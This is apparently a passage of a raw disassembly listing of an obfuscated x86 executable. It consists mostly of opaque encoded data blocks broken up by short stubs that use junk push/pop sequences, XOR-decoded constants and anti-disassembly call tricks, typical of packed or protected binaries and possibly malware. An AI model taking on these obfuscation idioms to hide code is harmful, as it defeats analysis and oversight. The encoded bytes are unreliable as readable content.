2504F74Eh dd 1FBC3F8Fh, 0CA1AFC6Ah, 0EBA20872h, 5905E9D6h, 758D5492h dd 941A78Ah, 0AF827E60h, 45939962h, 7C7F7812h, 465945h dd 0C6040000h, 0BEA7F435h, 8CC9F8ACh, 9AD22DF0h, 71BE738Eh dd 0A2B84EFCh, 8DC56C94h, 19AF7A81h, 0DAADBFC4h, 3FFBAA82h dd 788C25D9h, 0B1229380h, 9C8D6D79h, 0A8AF8E4Fh, 16785492h dd 29EB95C0h dd 1CC457Ch, 77000000h, 4FB01FC6h, 4D2F7CE2h, 8D327FB2h dd 0AEEDBF0h, 925491D4h, 32C88CC4h, 0A057C223h, 0CC36E92h dd 91D43B1Fh, 0BDF5C354h, 46B6E1CBh, 926C7A8Fh, 82BA529Fh dd 76FCC497h, 317E4C51h, 0EB81B04Fh, 0B5748694h, 598E717Dh dd 6E258BA6h, 46939E60h, 0CCD76AEh, 5A79032Eh, 0C3996F1Dh dd 0ADE54CB5h, 3DD35EA1h, 0D21F12EDh, 0E4D10FF0h, 5A790300h dd 1B136B86h, 5B7BC95h, 0A284D137h, 0A789D643h, 188DDA57h dd 6D0F9C6Ah, 27D86F7Dh, 9E48740Ah, 7F409BB7h, 147h, 91FB2C2Ah dd 0F986EDDAh, 0B8865176h, 0BB76896Bh, 72AD525h, 0A27D8BAh dd 74B54553h, 20DF8F27h, 5C30D911h, 38C79E6Ch, 90DD4CAFh dd 0C6DB92F8h, 78FFF5D9h, 77AF7D5Ah, 0D0AF5985h, 6190409Bh dd 3B000000h, 0DB92E42Ch, 91D3DAEEh, 5D14E254h, 62463348h dd 0EA5491D4h, 0D4A98D1Ch, 12315491h, 91D44125h, 95FBC954h dd 0FF3B45Dh, 0DD5491D5h, 0C7D56B81h, 0E150AE39h, 0E696FC94h dd 31C9161Bh, 0B93F53F9h, 0D5011502h, 3B095491h, 4C394EA5h dd 5491D568h, 7FAE8FEEh, 0B2647B66h, 0A4DEACE4h, 41000000h dd 0E150B1BFh, 1562CF31h, 749F457Dh, 9604D04h, 845176DBh dd 5CA98876h, 0B07E8CC4h, 796C7A63h, 0A163ED52h, 7CE2E9E0h dd 14E7972Fh, 2ED1DD15h, 1166D03h, 0F21BFFECh, 0D5A35A78h dd 78F16246h, 0DECBEA5Ah, 5A78F1FAh, 164EB482h, 0EF3CF50Ah dd 78F1C52Eh, 31CF5Ah, 0B730D1B3h, 327FE544h, 0DDA23894h dd 471EEC9Ah, 8CE379B8h, 6185AD7Ah, 659D0ABFh, 6D2494BFh dd 67A10580h, 0F23F0D57h, 0F542EF10h, 0C3F40250h, 0C1DDE90h dd 0C4EB3058h, 0AB112833h, 30D1DFF4h, 63DEC901h, 6B5D5683h dd 2CB2079Dh, 6F5340FBh, 0F75491D3h, 1F0CC329h, 517FA4A4h dd 0C1A592A7h, 495A8044h, 6735437Bh, 781F311Ah, 58C60CF3h dd 3FC0CC04h, 0F30C5CF2h, 2F30F13Eh, 690D6156h, 6F90A735h dd 23DC2CC2h, 8CF237C4h, 8EA35D3Fh, 8FA25F41h, 929F6042h dd 0D422D045h, 0F00654C7h, 0FD939E61h, 92DF52ADh, 0DEEh dd 0BA414F00h, 5826376Fh, 31F80311h, 1EC6E8F9h, 33CCAEFBh dd 32CFB1FEh, 2ED0B2FFh, 27D4B603h, 28D3B502h, 2ED2B401h dd 11D4B603h, 21D9BB08h, 526FBB08h, 0C281E289h, 4, 5204EA83h dd 42474FFh, 24048F5Ah db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 3D3Bh mov [esp], edx push esi push 362E0C10h pop esi push ebx mov ebx, 0B226CCh or ebx, 6F73103h sub ebx, 0C7F30EA1h xor esi, ebx pop ebx xor esi, 0CC455C8h mov ebx, esi pop esi push esp mov edx, [esp] add esp, 4 push eax mov eax, ebx mov [edx+8], eax mov eax, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_546C33 ; --------------------------------------------------------------------------- db 0F2h, 0CFh, 0D4h dd 31936EA5h, 11D53796h, 7592B893h, 0C50305EEh, 8069E0FFh dd 0D60236A5h, 8E710956h, 0B35F1955h, 7F8939E2h, 40744FCCh dd 756017E7h, 4EB01C9h, 3F05AF32h, 502E9h, 5BBE2600h, 0A48575C5h dd 0F227BE0Eh, 3DF40C5Ch, 85A457A7h, 4A6DD6EFh, 92E278B1h dd 0DF2FC56Ch, 29790F22h, 0F0C55BD6h, 4A06EAD7h, 0A88E5A80h dd 0AE39C623h, 0B92CDC4Dh, 3143FA60h, 0F430A85Ch, 0F59ED6ECh dd 0AB41E813h, 4F3CA45Bh, 5491EE6Bh, 72BF25F3h, 87786F90h dd 7B8D44AAh, 27FB7E0Bh, 44ED256Eh, 44919862h, 0B9885E92h dd 0C9AD9A46h, 5154926Ch, 37871D83h, 0A2B067CAh, 0A698D059h dd 0CF86AB56h, 53AB24C1h, 0D4C178DEh, 54926CF0h, 0C972AA78h dd 9381CEE0h, 33031175h, 220FEFFBh, 14E230D5h, 0D76DC43Dh dd 6CB97887h, 92C7CCABh, 0A5339554h, 0A9887987h, 8DF8971h dd 111F457Ch, 10F23FEAh, 2BDB41F0h, 0B0225ACFh, 5Bh, 838D4759h dd 0E1D1E381h, 39C698A9h, 0CEAABF8h, 0D55491D4h, 0B9C76573h dd 69EEB46h, 0FC3CE6CEh, 6A7C457Ch, 0E71A9166h, 0B165FD4Ah dd 0D30BDAC9h, 161h, 34C60C00h, 34C6A8F5h, 3AC6A8F5h, 0C4F8AAF7h dd 4EDB1F36h, 9A9768B8h, 629FAD04h, 472B18CFh, 0CF5491D3h dd 0BFB8C901h, 0D3D9BDAAh, 93615491h, 2FAC4F5Bh, 0B2E42610h dd 79B8466Bh, 0C82E942Ch, 0C861997Bh, 0F5D7FF11h, 0AE52DAA7h dd 0F78FDC4Dh, 0DCB05991h, 0B4471EECh, 4BB0BE75h, 64B4A6DEh dd 6749969Bh, 6C4E9B7Eh, 6B4D9A8Fh, 0D94E9B96h, 39D0DD2Bh dd 18B2A533h, 0F9457C5Fh, 0B1h, 49B1BFA4h, 583C29E0h, 0E05491D3h dd 2DCEDA12h, 7EE44DB2h, 21334831h, 0AEBFBFCFh, 391DAC1Fh dd 0C15492BCh, 36AFBBF3h, 4D1A2CE3h, 0E7964112h, 33F604B4h dd 6D164EE6h, 0E27187BBh, 237A1019h, 3100000Eh, 91E3BEA2h dd 0C4784654h, 0CF4283B2h, 0C9D50DE2h, 0C8AAF732h, 8BCCAB38h dd 65EC4C0h, 358A53A0h, 1F57DA27h, 20DA8D5Bh, 21457C53h dd 54h, 0EE43BCCAh, 0C0D109A1h, 0A7F435C6h, 0A8F53CC5h dd 0D7283633h, 3D750D5Ah, 27D46379h, 85EB46B8h, 0F33EC0CEh dd 6A570EA6h, 5491D386h, 1608400Eh, 74A8ADBFh, 10AA325Ch dd 5C948560h, 0F534C64Bh, 0D408E7A8h, 6FD15491h, 0FC44EE99h dd 125457Ch, 0D0000000h, 0AFAC1FC6h, 0E25A5FA6h, 0E3C51278h dd 23C8151Ch, 0B53007D5h, 0B4DEC016h, 157BBE59h, 0FA62957Fh dd 45835643h, 3D0B5177h, 40F10EF0h, 3BA55AAAh, 794B6A4Eh dd 1C00ED5Ah, 0A45A794Ch, 0A25624D6h, 129CCBE8h, 7DCA3050h dd 797ADEBCh, 8F9A605Ah, 91A06042h, 0CB21CF44h, 7D583C6h dd 0CD18CF30h, 167FF4Ch, 4DE41B6Bh, 50E11E00h, 0A93F2F03h dd 36CC659Ah, 9B5B600Ah, 10C4140h, 2CEC0000h, 0EDDA91FBh dd 5176F986h, 896BB886h, 0CE25BB76h, 82C7F2BCh, 85BD8A9Fh dd 0F4AB8679h, 0CA171AE6h, 6F51FA32h, 8054A190h, 14EB7A90h dd 0B15B871Dh, 92409B81h, 2Ch, 92E42C3Dh, 0D3DAEEDBh, 14E25491h dd 0D52206C7h, 94F05491h, 0BB3D5546h, 0D5031704h, 3D0B5491h dd 0BC4250A7h, 0A76F3D75h, 0D2000000h, 0DA91FB2Ch, 0A047B7C5h dd 0ED85D25Fh, 6AA23A87h, 76DB287Fh, 8DDAA851h, 47DD54ABh dd 6DF08F7h, 9F60AD13h, 5A78DD36h, 53E9FFADh, 0DD6D513Eh dd 27F55A78h, 151CE3EFh, 0FA62957Fh, 2C192E43h, 5A78DD48h dd 5E6BAECEh, 7A2CB12Eh, 788974ACh, 7B5766EBh, 529F926Dh dd 0A67482BAh, 0A9887759h, 0CF0DDF2h, 94606790h, 3E58EC6h dd 0E76E9E2h, 67936506h, 2DD2B401h, 9442B704h, 78C63946h dd 9E0E3962h, 3CC4D2E7h, 0D810A8F5h, 5509DCEDh, 5F16E45Dh dd 0AE795D4Ah, 33016655h, 0A4B209FBh, 0F189D65Bh, 0FB2CA8B9h dd 0D36F5340h, 29F75491h, 0E1F0CC3h, 11517FA6h, 0E936FB03h dd 3D0B1951h, 0AA877886h, 0AD847B5Dh, 84660F47h, 0D020B67Bh dd 0F4B5022Fh, 74687F99h, 7AC91F53h, 0BC035E85h, 0CDE98FF3h dd 1E9EB067h, 3D68EE97h, 0E84EDB20h, 916EBEB0h, 2086AB56h dd 0D10FF1D3h, 6C9E00E4h, 54BA8895h, 0B79B889Dh, 41956C9Dh dd 0F4C274BDh, 0D16E13BCh, 0A5F237C3h, 0FB11D50Dh, 89E936Ch dd 61A047B8h, 85EB83D0h, 39438h, 58F70000h, 0FB1EC613h dd 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h dd 32ED2B4h, 811D4B6h, 821D9BBh, 0EC836FBBh, 24348904h dd 0C681E689h, 4, 8704EE83h db 34h, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 6AD7h mov [esp], eax push ecx mov ecx, 5EE7660h push ecx xor dword ptr [esp], 48B0020Ah pop esi xor esi, 48B0020Ah pop ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ebx mov ebx, esi mov [eax+8], ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_546C33 ; --------------------------------------------------------------------------- dw 0B8F9h dd 5EE7AE5h, 0E0FFC503h, 7109C590h, 0E59769Fh, 6CB78137h dd 5BDFEA94h, 4388FF8Ah, 0A930E99h, 8A77317h, 389CB4AAh dd 921D92Eh, 7FD73132h, 3FE172FDh, 11E6BEAEh, 62E8F172h dd 69D24B04h, 8466AAFh, 1A16C325h, 59E0ED65h, 0B6EC48Ch dd 3C00DA87h, 4253D4BAh, 73182007h, 353104EBh, 78E96D6Eh dd 90000005h, 0DF2FC554h, 28780E1Bh, 76C65CBDh, 0C111A78Ah dd 4059EF3Ah, 0E247B4D7h, 2F02FC4Ch, 79B84999h, 0C56C93E3h dd 54415A2Fh, 5A804E70h, 7D8B12F8h, 0CA62AF82h, 39C68192h dd 32C9ABF8h, 0CF3240F7h, 0E8382A62h, 0EBCD1A17h, 0E7D01D14h dd 0D401E5D2h, 0BB895491h, 55837783h, 91D38468h, 41F00E54h dd 0DCAA5CF4h, 9CAABF76h, 583CCB5Eh, 0E05491D3h, 7F31DA12h dd 0D82BEAFCh, 536371DBh, 62C8929Fh, 0BDF57ED7h, 0AB54E3F9h dd 61A0F086h, 17EA3AD0h, 13EBCD1Ah, 721E82D0h, 6DD367F1h dd 0DF2D7B20h, 22B87988h, 0C6B32DD2h, 549263E2h, 0E9369C6Ah dd 92634928h, 5AB01254h, 7C6C852Fh, 43B7C545h, 0C90199E6h dd 7B57h, 1DEE0000h, 8D07F1DAh, 0C9509545h, 39C68091h dd 0CEAABF8h, 0D55491D4h, 48F26573h, 88457CFCh, 0DFA28673h dd 5C2A5491h, 1B224h, 0BF5D0000h, 0A9E150B1h, 7FCC5D9Dh dd 323B8496h, 0D76C27CBh, 5C10A432h, 0D50D67CFh, 5CAA31C9h dd 0E613023h, 0CEB0FD63h, 0B2FF32h, 0D3273ECCh, 0EE3BEE0Ch dd 0D859A656h, 0D68DF38Bh, 0CCF0D4C1h, 867A5492h, 14C65EABh dd 0CC1C0E46h, 1368FE33h, 0A7F435C6h, 0E24FB0BEh, 0B9C5FD95h dd 0C6AA9741h, 4E5491D3h, 0EBCD1A80h, 0F9DDCA16h, 815491D3h dd 1E004DB3h, 8F0451E0h, 0E4860BE1h, 0AC4FE6F4h, 6897E77Dh dd 4B9A7CC9h, 0B2B881CEh, 0FA973124h, 0C9D7457Ch, 17AFFC35h dd 986DDFh, 0C6180000h, 0BEA7F435h, 0B613C6ACh, 80B8069Ah dd 5BA87174h, 5CA98879h, 9B646B7Ah, 4BB14996h, 442815FEh dd 0CC5492C4h, 0A03692FEh, 0D1275BDBh, 1AB07982h, 0ABF831CAh dd 0ADFA37C9h, 0C1AE1ACBh, 5492C4DDh, 0E4319765h, 0FDE8FF02h dd 9569B61Ch, 0E50057A5h, 0E237CE34h, 0C4FCE0CDh, 0B6845492h dd 392CBA7Eh, 457C0B9Fh, 6380h, 35C62B00h, 6F9156AAh, 770F5CC2h dd 0D31923C3h, 0A0063FC4h, 0A1907153h, 0DB31DF54h, 3BA6F8Ch dd 9C1D01EEh, 0D7A55492h, 2058D927h, 34C6D92Eh, 0ADBFA8F5h dd 0E26B339Bh, 0BDA8E016h, 5492B4DEh, 9F46A160h, 0E5C7147Ah dd 0B868C81Bh, 0CBE8891Ch, 0F5A31865h, 0CF319AE7h, 0E3A44E39h dd 185457Ch, 30000000h, 0ADFA1FC6h, 0B0FD34CBh, 0B2FF32CEh dd 0B2FF2AD0h, 98916A1Ah, 8258A64Bh, 0DFED8AFDh, 9D62121Fh dd 77AF4794h, 0F90725B3h, 44DC2908h, 75C26794h, 4C99A5DDh dd 140116CDh, 5491D430h, 4633EAB8h, 5491D362h, 0F2E41CEAh dd 0C1588D9Bh, 2828DC74h, 0C82FDCDDh, 244FF52Dh, 12927663h dd 4C1A5492h, 0DD212FE6h, 1C091C54h, 51773C49h, 0D4B603D1h dd 0F029BC2Bh, 5BA4F48Ah, 0EAC889D6h, 6C5A7942h, 83AE518Eh dd 0EB389E36h, 0ED3AF709h, 9FECFA48h, 258AE5Ch, 0B8D2C4F0h dd 0ADA3A2Ah, 3694483Ah, 0D0DC1431h, 1C6C022Fh, 1F014EE3h dd 300451E0h, 1217E3F1h, 71C016DAh, 0DAECA38Eh, 0BC770687h dd 74669E01h, 9B0A9E48h, 1177F40h, 2C2A0000h, 0EDDA91FBh dd 5176F986h, 896BB886h, 0D525BB76h, 0D8BA072Ah, 0E9BD0A27h dd 0AB54E3F9h, 1AC4F086h, 5A409BD0h, 0B745845h, 2EFC5A79h dd 5984F6h, 0BF2F0000h, 135363ADh, 0EB23E521h, 0F4AB0D45h dd 91E5F307h, 0E02DFB54h, 1A17E9F7h, 798535CDh, 9BD36BB8h dd 91E6CCB0h, 0A83E9A54h, 0E31BCBFFh, 369014Eh, 0E64B5F4Ch dd 3B535491h, 73096FAAh, 0F0F30E1Ch, 0CC967CE6h, 70A80E52h dd 94A2h, 95F10300h, 60A769ECh, 0BF5C6DA5h, 0A7DF4AB1h dd 318D601h, 0FD5DF35Ah, 7562197Fh, 5176E51Eh, 0B3978499h dd 3B5A78E6h, 5927356Dh, 5CD52A0Ch, 578976C6h, 78E6866Ah dd 89400E5Ah, 78E6B89Ch, 0C72405Ah, 0E795FEBFh, 5E0C5A78h dd 0EB46B988h, 86386B55h, 9B52B879h, 66BD0FAEh, 55F30F57h dd 63412907h, 62BD383h, 6EBB21B9h, 71BE738Ch, 3F687ECCh dd 0EDA414h, 5D553D61h, 7EB34E5Ch, 53619931h, 0FFBCCE85h dd 0A44A8F56h, 216EC33Eh, 0F9EB2389h, 91FB2CA4h, 0FB2ECCDAh dd 0CBDE16AEh, 7FA93FDEh, 24713F51h, 0BD74BD42h, 0A9E150AFh dd 999867B7h, 0E3858B4Ch, 83B741FFh, 1021DE75h, 5CD52A7Ah dd 5ED32D0Fh, 7A8492A7h, 43D26AB7h, 0C301035Fh, 38E119E7h dd 3885A456h, 0D484A556h, 0D3B50227h, 1FB7042Dh, 0D3D82EDCh dd 7FB1C360h, 46EB13E7h, 0DDAD61F9h, 3C7FFE0h, 90A15EF5h dd 6695A3FAh, 807F8BC3h, 3C064B1h, 23000000h, 1EC61358h dd 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh, 27D4B603h, 28D3B502h dd 2ED2B401h, 11D4B603h, 21D9BB08h, 526FBB08h, 0C281E289h dd 4, 8704EA83h, 248B2414h, 0E2895224h, 4C281h, 0EA830000h dd 24148704h, 2404895Ch, 143E68h, 242C8900h, 3A1BF57h dd 29B83CE0h, 5C90E78h, 66CB3214h, 142DF801h, 5F66CB32h dd 242C8B54h, 4C481h, 0EC810000h, 4, 0BB241C89h, 8, 389EB01h dd 2434FF5Bh, 4C4815Dh, 8B000000h, 89502404h, 405E0h, 0C0830000h dd 24048704h, 0FF59E95Ch, 7212FFF8h, 0C11D6C40h, 76D10567h dd 0B8AA21A4h, 5EE80B2h, 0E0FFC503h, 310C8C08h, 20B4C796h dd 2EBD1328h, 27E4C879h, 69249591h, 4DDE3579h, 65CFBCB8h dd 59263B5Ah, 10EBh, 3 dup(0) dd 0C08B0000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0A1C35545h, 765EA833h, 81BD833Bh, 5E70Ch, 0BD830975h dd 5E72819h, 50197400h, 0B8C08B53h, 42Dh, 47D8589h, 9D8D05E7h dd 5E9B493h, 585BD3FFh, 2819BD83h, 740005E7h, 0B8535017h dd 42Dh, 47D8589h, 9D8D05E7h, 5E9B182h, 585BD3FFh, 89AD31BAh dd 0ACBE663Ah, 89C08BE9h, 0E7177195h, 0D98D8B05h, 8B05E71Ch dd 0E71D5995h, 0F98305h, 7D840Fh, 0D8B60000h, 2C3D8B64h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0F24FC351h, 0FF18BAAh, 0B89h dd 6E900h, 0E42C0000h, 0E50FAF8Eh, 840FFF0Bh, 3Bh, 24199D09h dd 3F8B05E7h, 0CCE68166h, 6AC03258h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0D41AC350h dd 607802C6h, 0BB19D8Bh, 0F36105E7h, 35F78BAAh, 53504149h dd 0C618CA80h, 0E732A585h, 6A4705h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0E7B047C3h dd 0BFC67BBBh, 6880F9Eh, 8B000000h, 0E7120595h, 4E805h dd 882C0000h, 0DDB2DCD6h, 0E9DBBA50h, 448B636Dh, 6BA0424h dd 8B7F710Ah, 66525000h, 0F6412BAh, 0AE931h, 0E52A0000h dd 0BF83750Ch, 94E19DB5h, 4489585Ah, 0BE660424h, 8B58E431h dd 5B5FFD6h, 6605E72Bh, 8DBFF8BEh, 0EA7DA185h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0AA065255h, 39266FF7h, 0EE8h, 8DCB9700h, 5DCE9A61h dd 33F7CE14h, 89BFEBA6h, 0E703A595h, 0D0FF5E05h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8EC35646h, 0CE9545Dh dd 0D7000000h, 0C9AE829Eh, 9B5CB4ADh, 8B8170C2h, 798589D0h dd 6A05E71Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0B125C355h, 3EFAC0BAh, 0A585C634h dd 5305E732h, 17519D89h, 0F16805E7h, 0E8487433h, 12h, 0F1731135h dd 0D623D188h, 0E8760D89h, 10ECD303h, 22B6CA54h, 2404815Eh dd 4024370Bh, 2EBD9533h, 0B5FF05E7h, 5E72B05h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 84C35545h, 0D68B4A1Fh dd 6830Fh, 8D090000h, 5E7189Dh, 7DA1858Dh, 0B50305EAh dd 5E73269h, 9D89D0FFh, 5E726F9h, 3917858Dh, 858905EAh dd 5E7196Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0CAC35747h, 0EFD8E835h, 9589518Eh, 5E72459h, 6A206A5Ah dd 6D95FFFFh, 3505E719h, 53504149h, 183D85C7h, 105E7h dd 85C70000h, 5E71725h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0BAC35545h dd 1F202785h, 83F38BB6h, 0E71809BDh, 840F0005h, 4Bh, 2F29BD89h dd 858B05E7h, 5E700ADh, 1B52360h, 105E71Bh, 0E727F595h dd 0A3646105h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0EBC35242h dd 5AF72F5Dh, 858B29ECh, 5E72F0Dh, 83FCE08Bh, 0E70401BDh dd 850F0005h, 464h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 34C35747h, 90887A1Fh, 290EA883h, 0E705A59Dh dd 0A585C605h, 5605E732h, 4E8h, 0C530DF00h, 69B060A9h dd 8AB2BB66h, 0BA665061h, 448B0541h, 10E90424h, 0A6000000h dd 0A2663103h, 6646C19Ah, 82277779h, 8B5B589Dh, 0CC10BA00h dd 4489463Fh, 0E9570424h, 0Fh, 8BCA91D8h, 8E7B4329h, 0B24DAAD4h dd 5A0FD888h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 8B26BB84h, 619503F1h, 0FF05E72Bh dd 0E72B05B5h, 0AE96005h, 0A7000000h, 9CF11F91h, 9842249h dd 79858BE1h, 6105E70Ch, 7DA1858Dh, 0FFF905EAh, 0E28166D0h dd 6690EC1Bh, 6650F38Bh, 90A81ABAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 34C35040h, 898CD795h, 0E702019Dh dd 458D8D05h, 8B05E709h, 0E709D9B5h, 52505005h, 585A310Fh dd 0E8240C89h, 14h, 0EFDF4983h, 1381E92Fh, 9CDC85Ch, 4DD2758h dd 5F8B90C0h, 0F0AE0CBAh, 46A5A05h, 6E8h, 8345B100h, 8139814Fh dd 7CDE10DEh, 0B5685A77h, 6068D497h, 13E8h, 0C3776500h dd 522AC01Eh, 0C5CFE975h, 68417743h, 61C03B55h, 0F5E6160h dd 68Fh, 8B0F00h, 61000000h, 0B5243481h, 6A68D487h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0C20CC351h, 7E9ABh, 88860000h, 735C8CACh, 4DB5FF52h dd 0F05E713h, 687h, 39958B00h, 0FF05E70Bh, 53006AD0h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0B8FF28ECh, 329E8770h, 0BD8BE28Dh, 5E7134Dh, 7F03F28Bh dd 55006A3Ch, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 2D2DA2EBh, 0C781F7DEh, 0F8h, 0A3280FBEh dd 0E850F0Dh, 60000000h, 8A0Fh, 0C0810000h, 62983639h dd 2447C761h, 60000020h, 2C35B58Bh, 0BD8305E7h, 5EE816Dh dd 8A840F00h, 0E9000001h, 0Eh, 0F31EF40Eh, 0E344A5CAh dd 0F6A95526h, 0C7839532h, 53006A28h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0AECF6CAAh dd 0C7D08B66h, 696A2E07h, 50006A64h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0E9BBE210h dd 0Bh, 586EA8E3h, 5CA94B52h, 3F30E7Eh, 0E7204D95h, 447C705h dd 617461h, 8175858Bh, 8F0F05EEh, 2, 4789F48Ah, 56006A0Ch dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 98B5205Dh, 78578F9Ah, 8B5A5781h, 0EE817985h, 1B58B05h dd 8905E72Dh, 81500847h, 0DCCE2AF6h, 54BA5E23h, 831E28EEh dd 8B5028C7h, 0E70A3195h, 7C75A05h, 6E6F632Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 6BC35646h, 11E9BC93h dd 63000000h, 923594B8h, 8514428Dh, 0E9E4ED91h, 97FD85F8h dd 0F8CE8166h, 447C7C3h, 676966h, 2B95BD89h, 858B05E7h dd 5EE8171h, 0E8D18B66h, 10h, 0E6E65F68h, 8ABBF8CFh, 0B4037BE6h dd 71AE3ADAh, 5D18589h, 895E05E7h, 858B0C47h, 5EE816Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 68C35141h dd 80B5E3A9h, 0CE97ED2h, 6A000000h, 9A207CA6h, 98AEC347h dd 89745B2Dh, 0CE800847h, 505158C9h, 8F40BE66h, 8D8D5A5Ah dd 5E72205h, 1A319523h, 895005E7h, 8166240Ch, 527F42C6h dd 2BC99529h, 0FF5E05E7h, 0E70945B5h, 0BE805h, 0ADE0000h dd 0D54497FCh, 0AC557BC0h, 158D89CBh, 5A05E704h, 0DAC78168h dd 0BE86066h, 38000000h, 4E5D582Fh, 577D4FAFh, 0F5FFF16h dd 287h, 61616000h, 81243481h, 6666DAD7h, 865FE681h, 134DB5FFh dd 11E905E7h, 0BB000000h, 8A18675Eh, 1224D225h, 79D4B3D7h dd 692AF1A5h, 958BD0FFh, 5E721C9h, 0B8h, 0EE900h, 7E320000h dd 0BABE2B04h, 4CE165B8h, 0F2001058h, 840FC00Bh, 46h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 9DC35646h, 47D5A5E5h dd 80529C84h, 9E9E9D6h, 3C000000h, 5EEE1F7h, 50911EE2h dd 2B21B5FFh, 0BD2905E7h, 5E72CB9h, 179595FFh, 0C08B05E7h dd 39A6E681h, 0BD83348Fh, 5E70C81h, 83097500h, 0E72819BDh dd 19740005h, 0C08B5350h, 42DB8h, 75858900h, 8D05E717h dd 0E9B4FA9Dh, 5BD3FF05h, 19BD8358h, 5E728h, 53501774h dd 42DB8h, 75858900h, 8D05E717h, 0E9B19B9Dh, 5BD3FF05h dd 0D9958B58h, 8B05E72Ah, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0A74BE0D9h dd 890EB4C7h, 0EBC08B55h, 459A8704h, 560E94Dh, 0B52F0000h dd 7C7ECE64h, 1EC717ADh, 0EB1565FBh, 9B60B046h, 76DFF88Eh dd 0EB81A853h, 38CE639Bh, 821819E8h, 0CE64CD32h, 0FF3E0F9h dd 975A805Eh, 39C62CB1h, 7AE051AEh, 79B04B2Dh, 0C56C93E3h dd 867D8F78h, 0DB2D7632h, 0DF1DEh, 0C7955492h, 0E21D2961h dd 0DA20024Fh, 7886984Fh, 80330CF7h, 7E30D911h, 5AA5BC4Ah dd 0D8EA41D7h, 1286D0F6h, 0ECF8301Dh, 36861C15h, 4CE51CCBh dd 0DA212FE6h, 326A024Fh, 0DA57A789h, 4C9AE88Dh, 7D70CF5h dd 2147F71Fh, 425D585h, 23B91FB7h, 0B8052CD3h, 7E98BDCFh dd 6B88696Ch, 52694833h, 16EB5492h, 0EECCE1Bh, 0AB59CE1Bh dd 3ADF065Dh, 86EF55EDh, 0F9A3D624h, 39457C83h, 235BD62Bh dd 74B1h, 0B1BF5C00h, 9CA8E049h, 0C081CE63h, 5491D3E2h dd 0D7E5FAABh, 20B80524h, 91D3AD91h, 43193554h, 469533CBh dd 551951B7h, 4D2AD487h, 60B457Ch, 0B4000000h, 0A0D859A6h dd 0F534C68Fh, 0F534C6A8h, 0F73AC6A8h, 0A533C8AAh, 91D3D4B8h dd 288E5C54h, 0DD9F5DBh, 0CC2F8EADh, 14EE31Ch, 0E2AF3D2Dh dd 82D82E62h, 2F865F70h, 86BED29Ch, 13A9807Ah, 5FF53CC3h dd 0F435C60Ah, 0BCA9BEA7h, 5491D3D8h, 4E5A9260h, 66CB33ACh dd 0CE1B8119h, 65FC0AFAh, 0C7DC9396h, 91D3F6DAh, 725F7E54h dd 5491D38Eh, 0AAE24816h, 499768B8h, 91D3785Ch, 0CC320054h dd 35F40715h, 737254FDh, 3B9059A6h, 2860D12Dh, 29E39664h dd 2A457CFAh, 61h, 0F435C6D5h, 0F920C5A7h, 57223042h, 417903D2h dd 7AAE6009h, 0B926D56Ch, 29AE742h, 45B6069Ch, 4BB597E4h dd 0DE212FE6h, 366E0653h, 28BEC48Dh, 7C74833Dh, 5A8445h dd 0BF2F0000h, 0D3D9BDAAh, 93615491h, 7DAC4F5Bh, 7EB34E30h dd 7DAC4F31h, 80B14E30h, 996F5F33h, 0D523D114h, 16AC7D7Eh dd 0AB34C6C1h, 0F48CD950h, 0A180418Eh, 6A5491D3h, 475CF208h dd 91D3765Ah, 280CF954h, 0B05491D4h, 2A6230E2h, 7CFC9842h dd 30CAD845h, 14FC1F9h, 0FA000000h, 0ADFA1FC6h, 0E74AB6C4h dd 0E0C4B19Ah, 685491D3h, 0F0FC349Ah, 30D5220Fh, 0B67B8593h dd 0D599D169h, 64B53007h, 4D6277CEh, 91D37C60h, 0A7360454h dd 5491D3C3h, 9F457D4Bh, 384D0474h, 74B78026h, 0CA7E575Ch dd 0D4DB842Bh, 0D3BEF693h, 51776100h, 9D816E83h, 255A7966h dd 29E4A357h, 560C798h, 2FA3BFCDh, 0C31DDFE2h, 0AA8CD93Fh dd 